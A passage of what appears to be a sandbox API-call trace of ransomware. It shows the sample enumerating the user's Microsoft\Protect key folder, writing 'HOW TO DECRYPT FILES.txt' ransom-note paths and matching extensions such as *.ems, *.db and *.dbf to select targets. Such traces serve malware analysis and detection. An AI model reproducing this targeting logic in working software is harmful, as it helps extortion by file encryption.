returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0088.191] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0x2020 [0088.191] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="0e15476d-d8fe-46ca-8099-ebdcf80f637c" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c" [0088.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c", pszSpec="*.ems") returned 0 [0088.192] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf6409280, ftCreationTime.dwHighDateTime=0x1d4ae2c, ftLastAccessTime.dwLowDateTime=0xf6409280, ftLastAccessTime.dwHighDateTime=0x1d4ae2c, ftLastWriteTime.dwLowDateTime=0xf6409280, ftLastWriteTime.dwHighDateTime=0x1d4ae2c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x390033, dwReserved1=0x300033, cFileName="102a7bc8-3f85-4bb4-840a-38257d2965d2", cAlternateFileName="102A7B~1")) returned 1 [0088.192] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.192] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="102a7bc8-3f85-4bb4-840a-38257d2965d2") returned 1 [0088.192] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="102a7bc8-3f85-4bb4-840a-38257d2965d2") returned 1 [0088.192] lstrcmpiA (lpString1="", lpString2="102a7bc8-3f85-4bb4-840a-38257d2965d2") returned -1 [0088.192] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned="0e15476d-d8fe-46ca-8099-ebdcf80f637c" [0088.192] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0088.192] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0088.192] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0088.192] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0x2020 [0088.192] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="102a7bc8-3f85-4bb4-840a-38257d2965d2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2" [0088.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2", pszSpec="*.ems") returned 0 [0088.192] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542b0350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542b0350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x542b0350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x390033, dwReserved1=0x300033, cFileName="2be989a0-16a1-424b-9211-51aa3bb43e5d", cAlternateFileName="2BE989~1")) returned 1 [0088.193] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.193] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2be989a0-16a1-424b-9211-51aa3bb43e5d") returned 1 [0088.193] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2be989a0-16a1-424b-9211-51aa3bb43e5d") returned 1 [0088.193] lstrcmpiA (lpString1="", lpString2="2be989a0-16a1-424b-9211-51aa3bb43e5d") returned -1 [0088.193] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2") returned="102a7bc8-3f85-4bb4-840a-38257d2965d2" [0088.193] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0088.193] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0088.193] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0088.193] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0x2020 [0088.193] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="2be989a0-16a1-424b-9211-51aa3bb43e5d" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d" [0088.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d", pszSpec="*.ems") returned 0 [0088.193] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfc585760, ftCreationTime.dwHighDateTime=0x1d6de0f, ftLastAccessTime.dwLowDateTime=0xfc585760, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfc585760, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x390033, dwReserved1=0x300033, cFileName="794b2ff9-586a-4a6a-b81f-edb9b1153708", cAlternateFileName="794B2F~1")) returned 1 [0088.193] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.194] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="794b2ff9-586a-4a6a-b81f-edb9b1153708") returned 1 [0088.194] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="794b2ff9-586a-4a6a-b81f-edb9b1153708") returned 1 [0088.194] lstrcmpiA (lpString1="", lpString2="794b2ff9-586a-4a6a-b81f-edb9b1153708") returned -1 [0088.194] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d") returned="2be989a0-16a1-424b-9211-51aa3bb43e5d" [0088.194] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0088.194] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0088.194] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0088.194] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0x2020 [0088.194] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="794b2ff9-586a-4a6a-b81f-edb9b1153708" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\794b2ff9-586a-4a6a-b81f-edb9b1153708") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\794b2ff9-586a-4a6a-b81f-edb9b1153708" [0088.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\794b2ff9-586a-4a6a-b81f-edb9b1153708", pszSpec="*.ems") returned 0 [0088.194] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x89f07f80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x89f07f80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x89f07f80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x390033, dwReserved1=0x300033, cFileName="915f9e3b-485d-4f89-a291-82a5ad3b0ee7", cAlternateFileName="915F9E~1")) returned 1 [0088.194] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.194] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="915f9e3b-485d-4f89-a291-82a5ad3b0ee7") returned 1 [0088.195] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="915f9e3b-485d-4f89-a291-82a5ad3b0ee7") returned 1 [0088.195] lstrcmpiA (lpString1="", lpString2="915f9e3b-485d-4f89-a291-82a5ad3b0ee7") returned -1 [0088.195] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\794b2ff9-586a-4a6a-b81f-edb9b1153708") returned="794b2ff9-586a-4a6a-b81f-edb9b1153708" [0088.195] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0088.195] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0088.195] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0088.195] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0x2020 [0088.195] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="915f9e3b-485d-4f89-a291-82a5ad3b0ee7" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\915f9e3b-485d-4f89-a291-82a5ad3b0ee7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\915f9e3b-485d-4f89-a291-82a5ad3b0ee7" [0088.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\915f9e3b-485d-4f89-a291-82a5ad3b0ee7", pszSpec="*.ems") returned 0 [0088.195] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x17ffec90, ftCreationTime.dwHighDateTime=0x1d3373c, ftLastAccessTime.dwLowDateTime=0x17ffec90, ftLastAccessTime.dwHighDateTime=0x1d3373c, ftLastWriteTime.dwLowDateTime=0x18024df0, ftLastWriteTime.dwHighDateTime=0x1d3373c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x390033, dwReserved1=0x300033, cFileName="fbbe72db-afd8-443b-88dd-64b20388700d", cAlternateFileName="FBBE72~1")) returned 1 [0088.195] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.195] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="fbbe72db-afd8-443b-88dd-64b20388700d") returned -1 [0088.195] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="fbbe72db-afd8-443b-88dd-64b20388700d") returned 1 [0088.196] lstrcmpiA (lpString1="", lpString2="fbbe72db-afd8-443b-88dd-64b20388700d") returned -1 [0088.196] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\915f9e3b-485d-4f89-a291-82a5ad3b0ee7") returned="915f9e3b-485d-4f89-a291-82a5ad3b0ee7" [0088.196] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0088.196] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0088.196] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0088.196] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0x2020 [0088.196] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="fbbe72db-afd8-443b-88dd-64b20388700d" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d" [0088.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d", pszSpec="*.ems") returned 0 [0088.196] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542fc610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542fc610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfc5f7b80, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x390033, dwReserved1=0x300033, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0088.196] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.196] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Preferred") returned -1 [0088.196] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Preferred") returned -1 [0088.196] lstrcmpiA (lpString1="", lpString2="Preferred") returned -1 [0088.197] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d") returned="fbbe72db-afd8-443b-88dd-64b20388700d" [0088.197] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0088.197] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0088.197] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0088.197] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0x2020 [0088.197] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="Preferred" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred" [0088.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.ems") returned 0 [0088.197] lstrlenA (lpString="*.ems") returned 5 [0088.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.db") returned 0 [0088.197] lstrlenA (lpString="*.db") returned 4 [0088.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.dbf") returned 0 [0088.198] 